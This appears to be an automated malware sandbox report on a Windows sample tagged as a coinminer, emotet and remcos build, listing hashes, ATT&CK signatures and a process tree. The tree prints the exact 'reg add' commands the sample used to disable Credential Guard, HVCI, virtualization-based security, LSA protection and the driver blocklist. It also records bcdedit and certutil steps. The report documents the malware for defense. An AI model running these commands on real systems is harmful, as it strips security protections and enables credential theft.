1adc2e35bc4b0b7c3ba645796a8481b5d2277253c6fd41d458d9c5599d937d0f

Analysis

max time kernel
20s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 09:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe
Size 3.6MB
Sample260925-lhytdsysfw
SHA256 1adc2e35bc4b0b7c3ba645796a8481b5d2277253c6fd41d458d9c5599d937d0f
MD5 5667c2bd639baa46e724d7e100a86f7d
SHA1 64cc71041da2c1e3713fb5a2b7b9b937326bd83a
SHA512 727d026ba2593bde247d4f35ae9dd8f2ef9938728ae69b31ffa85dcb93ef7ad9c38a26d7e4b73c59033f70705ecb20624f7ced6c484a11ea463708d5e689457a
SSDEEP 49152:1G1ASBfV2x+EUxWtU1dN5nvMFo/oERcUIXMFo/oERcUIj11XR7:0agd2x+ELtU1NvIscVIscff7
TLSH
T1E106AD12E252A0F5E21E95704262573EEBF27E151B20E7DBDFD0FD212E326D1A63B205
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
4584	bcdedit.exe
5784	bcdedit.exe
4156	bcdedit.exe

UPX dump on OEP (original entry point) 12 IoCs

resource	yara_rule
behavioral2/memory/5288-6-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-7-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-14-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-13-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-17-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-18-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-19-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-20-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-25-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-33-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-37-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX
behavioral2/memory/5288-39-0x0000000000400000-0x00000000007E8000-memory.dmp	UPX

Installs a root certificate to the trusted certificate store 1 TTPs 2 IoCs

A root certificate was added to the trusted certificate store using CertUtil.

defense_evasion

Install Root Certificate

T1553.004

pid	Process
4348	cmd.exe
3040	certutil.exe

Manipulates Digital Signatures 1 TTPs 1 IoCs

Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\43DBB0D8926FEBC69B7663673161BC063ED10E04\Blob = 03000000010000001400000043dbb0d8926febc69b7663673161bc063ed10e0420000000010000001803000030820314308201fca003020102021057f22d200fedd2a646700c9ac5bfb563300d06092a864886f70d01010b050030163114301206035504030c0b57444b5465737443657274301e170d3236303533303231333735385a170d3336303533303231343735385a30163114301206035504030c0b57444b546573744365727430820122300d06092a864886f70d01010105000382010f003082010a0282010100bb22151c5ed381ba1ca5d23d08543311f9eaa57b2af57911066d53e3ede87aa5b3f6e0b9aa5f054b68c2b559276e0998b8d01ef9ebb3b17326c2a3d23d0e1e6d13071bbd417b948db4b57308089c2e473952189376da210cdfd9aaa9b12b5762953c65b4834801996de86f85b2f91e9d1984cf488e690d42cf9e7ba15f12538c98a8baac5258c4f39a8beb44976d6e3f3ecb5966b990ea667dd4ed3bf6adf5e1a2f4b8356c819352747ee7fdbcd25202a82398df383668f939971c1b7150f9576eede0cfb3eea50464e7e8fb19cd9dd3c99efe5c4fc176e4c8855d4269fc649cf194916458797fdf63e6599a51d40260c900906a4eab95ae5d083c2f9962a7310203010001a35e305c300e0603551d0f0101ff040403020780302b0603551d250424302206082b06010505070303060a2b0601040182370a0305060a2b0601040182373d0101301d0603551d0e0416041415f59026fd3b5de62dca6813ea552d7344dbfaed300d06092a864886f70d01010b050003820101002614d970ce546514bb87c5088985e02b5132049872095c127a118a177ccd741532f0983f3b76090f5787f95ac45e808cf417b1e425f0f950627840010a63fa18331a4ebf53d4fd07828e7babeb25bb08fb5ae18336de0524a576f91edb486eab108347fc80f5b200af6830cf2652cd513bcb66ca6c241d7033c57de76bf1272d1737cece5bccffc5cc526f6ae26cb6a0dd1e8b974953f08aec4cacd9a807ddab182eeaa9558dc5bf8ff958fe738188b3d6360aace1b11eda3cc4904db15f4af5de9018410c9048da687dc83e63496d81f566963158f8f7617e3e94a42170b4c98e66df36c5c232c2e338ed49e6c9d83fdfd994e0025e52dc59fc1cc8a567f23f	certutil.exe

Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

Disable Windows Driver Blocklist via Registry.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\CI\Config\VulnerableDriverBlocklistEnable = "0"	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\longdiequdong1\ImagePath = "\\??\\C:\\Windows\\Temp\\longdiequdong1.sys"	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe

Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs

Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.

persistence credential_access

LSASS Driver

T1547.008

LSASS Memory

T1003.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\RunAsPPL = "0"	reg.exe

Executes dropped EXE 1 IoCs

pid	Process
1512	SignGuiPatcher.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	mountvol.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 37 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5056	cmd.exe
2500	cmd.exe
4508	cmd.exe
2192	cmd.exe
5128	cmd.exe
5320	cmd.exe
1312	cmd.exe
1940	cmd.exe
3264	cmd.exe
1984	cmd.exe
1148	cmd.exe
2888	cmd.exe
3992	cmd.exe
3292	cmd.exe
5584	cmd.exe
5636	cmd.exe
432	cmd.exe
2088	cmd.exe
3392	cmd.exe
2836	cmd.exe
3036	cmd.exe
4908	cmd.exe
2368	cmd.exe
4656	cmd.exe
4704	cmd.exe
2944	cmd.exe
4392	cmd.exe
424	cmd.exe
2644	cmd.exe
4672	cmd.exe
2780	cmd.exe
5812	cmd.exe
5572	cmd.exe
1792	cmd.exe
4544	cmd.exe
3420	cmd.exe
2468	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
5596	reg.exe
2560	reg.exe
2256	reg.exe
2900	reg.exe
2832	reg.exe
1060	reg.exe
3016	reg.exe
764	reg.exe
5500	reg.exe
2032	reg.exe
2444	reg.exe
4924	reg.exe
3468	reg.exe
5416	reg.exe
4796	reg.exe
1468	reg.exe
2124	reg.exe
3172	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1512	SignGuiPatcher.exe
1512	SignGuiPatcher.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	SignGuiPatcher.exe
Token: SeImpersonatePrivilege	1512	SignGuiPatcher.exe
Token: SeDebugPrivilege	1512	SignGuiPatcher.exe
Token: SeShutdownPrivilege	5496	shutdown.exe
Token: SeRemoteShutdownPrivilege	5496	shutdown.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe
5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe
3656	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5288 wrote to memory of 3392	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	88
PID 3392 wrote to memory of 3992	3392	cmd.exe	90
PID 3992 wrote to memory of 4056	3992	cmd.exe	91
PID 5288 wrote to memory of 4704	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	94
PID 4704 wrote to memory of 2124	4704	cmd.exe	96
PID 5288 wrote to memory of 3292	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	97
PID 3292 wrote to memory of 2560	3292	cmd.exe	99
PID 5288 wrote to memory of 5128	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	100
PID 5128 wrote to memory of 2832	5128	cmd.exe	102
PID 5288 wrote to memory of 5320	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	103
PID 5320 wrote to memory of 3172	5320	cmd.exe	105
PID 5288 wrote to memory of 2644	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	106
PID 2644 wrote to memory of 1060	2644	cmd.exe	108
PID 5288 wrote to memory of 5056	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	109
PID 5056 wrote to memory of 4924	5056	cmd.exe	111
PID 5288 wrote to memory of 2944	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	112
PID 2944 wrote to memory of 3016	2944	cmd.exe	114
PID 5288 wrote to memory of 5812	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	115
PID 5812 wrote to memory of 3468	5812	cmd.exe	117
PID 5288 wrote to memory of 4672	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	118
PID 4672 wrote to memory of 764	4672	cmd.exe	120
PID 5288 wrote to memory of 1312	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	121
PID 1312 wrote to memory of 5500	1312	cmd.exe	123
PID 5288 wrote to memory of 2500	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	124
PID 2500 wrote to memory of 5596	2500	cmd.exe	126
PID 5288 wrote to memory of 2780	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	127
PID 2780 wrote to memory of 5416	2780	cmd.exe	129
PID 5288 wrote to memory of 5584	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	130
PID 5584 wrote to memory of 2256	5584	cmd.exe	132
PID 5288 wrote to memory of 2836	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	133
PID 2836 wrote to memory of 4796	2836	cmd.exe	135
PID 5288 wrote to memory of 4544	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	136
PID 4544 wrote to memory of 2032	4544	cmd.exe	138
PID 5288 wrote to memory of 1940	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	139
PID 1940 wrote to memory of 1468	1940	cmd.exe	141
PID 5288 wrote to memory of 5636	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	142
PID 5636 wrote to memory of 2900	5636	cmd.exe	144
PID 5288 wrote to memory of 4392	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	145
PID 4392 wrote to memory of 3420	4392	cmd.exe	147
PID 5288 wrote to memory of 4508	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	148
PID 4508 wrote to memory of 3036	4508	cmd.exe	150
PID 5288 wrote to memory of 4908	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	151
PID 4908 wrote to memory of 3264	4908	cmd.exe	153
PID 5288 wrote to memory of 2468	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	154
PID 2468 wrote to memory of 1800	2468	cmd.exe	156
PID 5288 wrote to memory of 1984	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	157
PID 1984 wrote to memory of 5572	1984	cmd.exe	159
PID 5288 wrote to memory of 1148	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	160
PID 1148 wrote to memory of 1792	1148	cmd.exe	162
PID 5288 wrote to memory of 2192	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	163
PID 2192 wrote to memory of 2016	2192	cmd.exe	165
PID 5288 wrote to memory of 424	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	166
PID 424 wrote to memory of 2444	424	cmd.exe	168
PID 5288 wrote to memory of 2368	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	169
PID 2368 wrote to memory of 4584	2368	cmd.exe	171
PID 5288 wrote to memory of 2888	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	172
PID 2888 wrote to memory of 5784	2888	cmd.exe	174
PID 5288 wrote to memory of 432	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	175
PID 432 wrote to memory of 4156	432	cmd.exe	177
PID 5288 wrote to memory of 4348	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	178
PID 4348 wrote to memory of 3040	4348	cmd.exe	180
PID 5288 wrote to memory of 4656	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	181
PID 4656 wrote to memory of 2080	4656	cmd.exe	183
PID 5288 wrote to memory of 1512	5288	2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe	184

C:\Users\Admin\AppData\Local\Temp\2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-24_5667c2bd639baa46e724d7e100a86f7d_coinminer_elex_emotet_glassworm_remcos.exe"
1⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5288
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240775750_28838.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_bl_240775750_28838.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Windows\system32\manage-bde.exe
      C:\Windows\Sysnative\manage-bde.exe -status C: -protectionaserrorlevel
      4⤵
      PID:4056
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2124
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2560
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5128
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\SystemGuard /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2832
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5320
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\WindowsHello /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3172
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5056
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard /v Locked /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5812
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3468
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:764
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
    3⤵
